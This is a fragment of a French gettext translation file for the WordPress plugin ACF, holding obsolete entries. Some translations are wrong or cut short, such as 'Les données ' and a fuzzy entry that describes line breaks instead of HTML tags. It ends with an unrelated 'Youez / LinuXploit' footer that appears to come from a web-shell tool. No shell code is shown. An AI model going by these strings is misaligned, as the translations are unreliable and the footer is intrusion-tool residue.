#~ msgid "Roll back to ACF v%s"
#~ msgstr "Revenir à la version v%s d'ACF"

#~ msgid "Learn why ACF PRO is required for my site"
#~ msgstr "Pourquoi ACF PRO est nécessaire pour mon site ?"

# @ wp3i
#~ msgid "Data Upgrade"
#~ msgstr "Migration des données"

#~ msgid "Data upgraded successfully."
#~ msgstr "Les données ont été mises à jour !"

#~ msgid "Data is at the latest version."
#~ msgstr "Les données "

#~ msgid "1 required field below is empty"
#~ msgid_plural "%s required fields below are empty"
#~ msgstr[0] "Il reste un champ à remplir ci-dessous"
#~ msgstr[1] "Il reste %s champs à remplir ci-dessous"

#~ msgid "Load & Save Terms to Post"
#~ msgstr "Charger & enregistrer les termes"

#~ msgid "Load value based on the post's terms and update the post's terms on save"
#~ msgstr "Charge la valeur basée sur les termes de l'article et met à jour ces termes lors de l'enregistrement"

#, fuzzy
#~ msgid "Controls how HTML tags are rendered"
#~ msgstr "Définis comment les sauts de lignes sont interprétés"

# @ acf
#~ msgid "Custom field updated."
#~ msgstr "Champ mis à jour"

# @ acf
#~ msgid "Custom field deleted."
#~ msgstr "Champ supprimé"

#~ msgid "Field group duplicated! Edit the new \"%s\" field group."
#~ msgstr "Groupe de champ dupliqué ! Editer le nouveau groupe \"%s\""

#~ msgid "Import/Export"
#~ msgstr "Import/Export"

#~ msgid "Column Width"
#~ msgstr "Largeur de colonne"

#~ msgid "Attachment Details"
#~ msgstr "Détails"

Youez - 2016 - github.com/yon3zu
LinuXploit